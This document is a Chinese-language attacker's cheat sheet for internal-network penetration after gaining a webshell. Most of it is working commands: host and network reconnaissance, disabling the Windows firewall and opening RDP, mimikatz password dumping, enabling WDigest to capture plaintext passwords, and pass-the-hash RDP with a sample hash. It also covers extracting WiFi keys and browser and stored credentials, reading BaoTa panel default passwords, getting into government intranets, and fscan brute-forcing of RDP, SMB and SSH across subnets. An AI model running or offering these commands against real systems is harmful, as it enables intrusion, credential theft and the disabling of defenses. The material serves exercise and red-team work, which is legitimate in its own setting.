whoami /all # 查询当前用户权限等
net user # 只显示本机的用户,不显示域用户
net user administrator # 查看用户administrator的具体信息
net localgroup # 查看组
net localgroup administrators # 显示本机的administrators管理员组。除了显示本机中用户,还会显示域用户(前提是该域用户在本机的Administrators组内)
query user | qwinsta #查询当前在线用户
hostname # 查看主机名
ipconfig /all # 查看ip详细信息
route print # 查看路由
arp -a # 查看arp缓存表
type C:\Windows\System32\drivers\etc\hosts # 查看hosts文件
systeminfo #查看系统的基本信息(系统版本.软件及补丁的安装情况,是否在域内)
net statistics workstation #查看主机开机时间
echo %PROCESSOR_ARCHITECTURE% #可查看系统的体系结构,是x86还是AMD64等
fsutil fsinfo drives #查看所有的盘符
set #查看环境变量
netstat -ano # 查看网络外连开放情况.
netstat -ano|findstr 80 # 查看80端口的网络连接
netstat -ano|findstr 443 # 查看443端口的网络连接
netstat -ano|findstr 3306
netstat -ano|findstr 3389
netstat -ano|findstr 6379
netstat -ano|findstr 1433
tasklist # 查看进程列表
tasklist /svc # 查看进程,显示进程使用者名称
tasklist /svc | findstr PID # 根据进程pid查找进程名称
taskkill /f /t /im xx.exe # 杀死xx.exe进程
taskkill /F -pid 520 # 杀死pid为520的进程
net start #查询当前运行的服务
wmic startup get command,caption #查看程序启动信息
wmic product get name,version # 查看安装的软件及版本
schtasks /query /fo LIST /v #查看系统计划任务
者rdp连接,通过控制面板 --》程序 --》 程序面板,查看目标机器都安装了哪些软件
netsh advfirewall show allprofiles # 通过配置文件的状态 , 打开说明防火墙是开启的 , 关闭就是关闭的
# 关闭防火墙
#Server2003及之前版本
netsh firewall set opmode disable
netsh firewall set opmode mode=disable
#Server2003之后版本 off/on
netsh advfirewall set allprofiles state off
# 指定程序通过防火墙
#Server2003及之前版本,允许指定程序全部连接:
netsh firewall add allowedprogram d:\nc.exe "allow nc" enable
#Server2003之后版本,允许指定程序进入:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="d\nc.exe"
# 允许3389端口放行
# 进站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in
localport=3389 action=allow
# 出站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=out
localport=3389 action=allow
#在大多数情况下,只需要创建入站规则(dir=in),以便允许外部计算机连接到本地计算机上的远程桌面服务。但是,如果您有特殊的需求,需要允许本地计算机连接到远程计算机上的远程桌面服务,那么也可以创建出站规则(dir=out)。
# 查看3389状态 如果值为 0,表示远程桌面是开放的;如果值为 1,则表示远程桌面是关闭的
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
# 查看远程桌面端口 0xd3d == 3389
# 适用于 Windows Server 2003.Windows Server 2008.Windows Server 2008 R2.Windows 7 和Windows 8 这些操作系统版本
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
# 适用于 Windows Server 2008 R2 和 Windows Server 2012
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber
# 开启3389
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 关闭3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
cat /etc/passwd # 查看用户/密码信息
cat /etc/passwd | grep bash # 筛选可以登录的用户
cat /etc/passwd | grep /sh
cat /etc/shadow # 查看用户/密码信息
#查看用户登录状况
w
last
# 查看网络信息
ifconfig
ip a
arp -a
# 查看本地hosts解析
cat /etc/hosts
# 查看外连信息
netstat -anop
netstat -anp | grep 22
netstat -anp | grep 3306
netstat -anp | grep 6379
# 查看建立链接的
ss
ss -t -o state established
# 显示 dst(目标) IP 为 192.168.3.21 且状态为 established 的 TCP 连接,同时显示 timer
ss -t -o state established dst 192.168.3.21
# 显示 src(源) IP 为 172.31.2.101 且状态为 established 的 TCP 连接,同时显示 timer
ss -ato state established src 172.31.2.102
判断docker
# 检查根目录下/.dockerenv文件是否存在
ls -la /.dockerenv
# 检查/proc/1/cgroup内是否包含"docker"等字符串
cat /proc/1/cgroup
ps -aux
ps -aux | grep "关键字" # 查看 mysql redis 等这些服务
crontab -l
more /etc/crontab
cd /var/spool/cron/ # centos
ls -la
cd /var/spool/cron/crontabs/ # ubuntu
ls -la
uname -a # 内核信息
cat /etc/issue # 发型版本信息
cat /etc/*-release # 发型版本信息
cat /etc/shells # 列出可用的登录shell的列表
echo $SHELL # 当前用户的默认shell的路径
history # 查看当前回话内存中执行的命令
cat ~/.bash_history # 查看当前用户写入到文本中的历史命令
cat /home/derian/.bash_history # 查看derian用户写入到文本中的历史命令
linux命令 , 当你敲下去 , 回车后 , 他是保存到你当前的ssh回话中的, 也就是说是在你对应的内存中的 ,> 即使是同一个用户 , 你也没办法通过history查看另外一个回话内存中保存的历史命令 , 只有当会话退出> , 此时这个用户执行过的历史命令才会被追加写到 ~/.bash_history 文件中 , 永久保存 , 所以我们查看> 历史命令 最好的方式是> cat ~/.bash_history
cat /root # 用户家目录
cat /home/derian
ls -la
cat /root/.ssh/known_hosts # 不同用户家目录下都可能会有,可以下载私钥,使用私钥
链接
cat /home/derian/.ssh/known_hosts # 不同用户家目录下都可能会有
cat /etc/redis/redis.conf # redis配置文件, requirepass 密码
cat /etc/mysql/user.MYD # mysql配置文件,非明文
# 全局搜索敏感文件,重点用户家目录, web目录
find / -type f -name "*.conf"
find / -type f -name "config.*"
find / -type f -name "*passwd*"
根目录:web.config
根目录/config目录
config.php
db.php
conn.php
database.php
apache-tomcat\webapps\应用名称\WEB-INF\classes 目录
application.properties
jdbc.properties
database.properties
db.properties
apache-tomcat2\webapps\xxxx\WEB-INF\classes\application.yaml
apache-tomcat-9.0.79\conf\tomcat-users.xml
https://github.com/Naturehi666/searchall ( 推荐 )
寻找/
下的敏感文件
searchall64.exe -p C:\\web目录
./searchall64 -p /
mimikatz "privilege::debug" "log" "sekurlsa::logonpassWords" "exit"
微软为了防止用户密码在内存中以明文形式泄露,发布了补丁KB2871997关闭了 Wdigest 功能。
Windows Server 2012及以上版本默认关闭 Wdigest,使攻击者无法从内存中获取明文密码。
Windows server 2012以下版本如果安装了KB2871997补丁,攻击者同样无法获取明文密码。
在日常网络维护中,通过查看注册表项Wdigest可以判断其功能状态。如果该项值为0,用户明文密码就不会出现在内存中 , 如果该项值为1用户下次登录时,攻击者就能使用工具获取明文密码
在命令行中开启Wdigest Auth,有以下两种方法
# 开启Wdigest Auth,命令如下
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 开启Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
开启之后 , 只有当关机重启 , 或者注销登录才能抓到明文密码
query user 查询登录
logoff ID (下线,注销)
rundll32.exe user32.dll,LockWorkStation 强制锁屏
通过hash登录远程桌面, 是 Windows server 是支持
# 开启
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
#查询结果, 0x0 是开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
# rdp pth, 只需要在攻击者机器上运行
mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:192.168.158.132 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restricteda
#查看mstsc的连接记录
cmdkey /list
#查找本地的Credentials , 注意实战中排查每个用户的这个目录
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
dir /a C:\Users\用户名\AppData\Local\Microsoft\Credentials\*
#查看用户目录
dir /a C:\Users\
dir /a C:\Users\administrator\AppData\Local\Microsoft\Credentials\*
SharpXDecrypt.exe
SharpXDecrypt.exe > 1.txt
# 工具包
PwdCollection.exe -navicat
#navicat 解密
https://lalalaxiaoyuren.github.io/2020/04/20/navicat%E5%AF%86%E7%A0%81%E8%AF%BB%E5%8F%96/
#勾选导出密码
#关键词 : Password
# 列出所有连接过的WiFi的配置文件
netsh wlan show profiles
# 查看到某个具体WiFi的配置详情,包括密码:
netsh wlan show profiles name="XSZXJY_5G" key=clear
# 一条命令查看所有
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
hack-browser-data.exe
hack-browser-data.exe -b all -f json --dir results -zip
获取到了webshell、存在非常牛逼的杀软,无法上线cs、目标有todesk远控
phpmyadmin
默认是安装的 , 也是可以外部访问的 , 虽然还是888默认端口 , 但是生成的路径是 phpmyadmin_随机字符串 ,可以在软件商城中查看到
就好宝塔后台一样基本上你是无法爆破出来的
默认配置
宝塔的端口和密码
宝塔默认配置
#入口路径
cat /www/server/panel/data/admin_path.pl /433270e2
#默认账号密码数据库
cat /www/server/panel/data/default.db
#默认密码文件
cat /www/server/panel/default.pl 94c94d09 # (不能少于8位)
#mysql安装路径
/www/server/mysql
#mysql密码文件
/www/server/data/mysql/user.MYD
#web目录
/www/wwwroot
注意 : 这些文件只保存默认的 , 修改后的不会保存
如果你忘记密码可以通过一条命令重置密码
cd /www/server/panel && python tools.py panel testpasswd rnkegnwy
# testpasswd 密码
# rnkegnwy 账号
当我们在攻防演练中, 拿到一个webshell之后, 一般都会查看是否有内网ip, 是否是处在内网中, 如果有那么接下来将进入到内网渗透, 而想要做好内网渗透, 内网信息收集自然是一个非常重要的环节,更好的信息收集能够帮助我们在内网中获取更多权限, 数据, 拿到更多的分数
A类地址:10.0.0.0~10.255.255.255 # 10.0.0.0/8 大型单位内网
B类地址:172.16.0.0 ~172.31.255.255 # 172.16.0.0/16 中型单位内网
C类地址:192.168.0.0~192.168.255.255 # 192.168.0.0/16 小型单位内网
100.64.0.0 ~100.127.255.255
100.64.0.0/10 IP地址段是在IETF在2012年定义出来给ISP用于运营商级NAT的内网保留地址段,即
CGN(carrier-grade NAT)
国家电子政务外网(简称政务外网)是按照中办发〔2002〕17号文件和〔2006〕18号文件要求建设的我国电子政务重要公共基础设施,是服务于各级党委.人大.政府.政协.法院和检察院等政务部门,满足其经济调节.市场监管.社会管理和公共服务等方面需要的政务公用网络
政务外网支持跨地区.跨部门的业务应用.信息共享和业务协同,以及不需在政务内网上运行的业务。
政务外网由中央政务外网和地方政务外网组成,与互联网逻辑隔离
逻辑隔离器是一种不同网络间的隔离部件,被隔离的两端仍然存在物理上数据通道连线,但通过技术手段保证被隔离的两端没有数据通道,即逻辑上隔离。
标准查询
地方标准信息服务平台
小技巧
ping 政务网ip
突破强隔离
电子政务专网是党政机关的非涉密内部办公网,主要用于机关非涉密公文.信息的传递和业务流转。
它与外网之间不是通过传统的防火墙来隔离,而是通过网闸,仅以 数据“摆渡” 方式来交换信息(网闸的HTTP.FTP.SMTP等通用协议全部关闭或不提供这些协议支持),以便实现公共服务或内部业务的流转。
由于 "摆渡" 方式不能与Internet互相连接,因此,专网一般不受Internet的威胁,具有较高的安全性。
电子政务内网是党政机关涉密的办公业务网络, 在上面传输涉密公文,属高度机密的网络,与国际互联网物理隔离,在满足工作需求的前提下,覆盖范围尽可能少。
在内网中, 我们的目标是获取更多的权限和数据, 后台权限, 主机权限, 集权权限(堡垒机, 域控, vcenter 等) 数据库数据, 敏感的办公文件等
内网网段
192.168.10.1/24
192.168.1.1/16
172.16.0.0/16
10.10.100.1/24
10.10.1.1/16
10.0.0.0/8
政务外网 59开头的
常用命令
# 默认扫描
fscan.exe -h 192.168.158.1/24
# 跳过存活检测(-np) 、不保存文件、跳过web poc扫描(默认端口)
fscan.exe -h 10.10.1.1/16 -no -nopoc
# 全端口, 跳过poc扫描,使用ping扫描, 指定某台主机
fscan.exe -h 192.168.158.132 -p 1-65535 -ping -nopoc -o all_port.txt
# 指定密码(mimikatz抓到), 爆破c段机器的 rdp
fscan.exe -h 192.168.31.1/24 -m rdp -p 3389 -pwd Aa123456789 -o rdp.txt
fscan.exe -hf ips.txt -m rdp -p 3389 -pwd Aa123456789 -o rdp.txt
# 指定密码(mimikatz抓到), 爆破c段机器的 smb
fscan.exe -h 192.168.158.132 -m smb -pwd 123456 -o smb.txt
fscan.exe -hf ips.txt -m smb -pwd Aa123456789 -o smb.txt
fscan.exe -h 192.168.1.1/16 -m smb -pwd hik12345+ -o smb.txt
# 单独检测ms17-010
fscan.exe -h 172.18.1.1/16 -m ms17010 -o 17.txt
# 爆破ssh
./fscan -h 192.168.1.1/16 -p 22 -m ssh -user root -pwd ets@123 -c id -o ssh.txt
./fscan -hf ips.txt -m ssh -p 22 -pwdf pass.txt -o ssh.txt
# 结束进程
taskkill /f /im fscan.exe
# 关于smb链接
\\192.168.158.132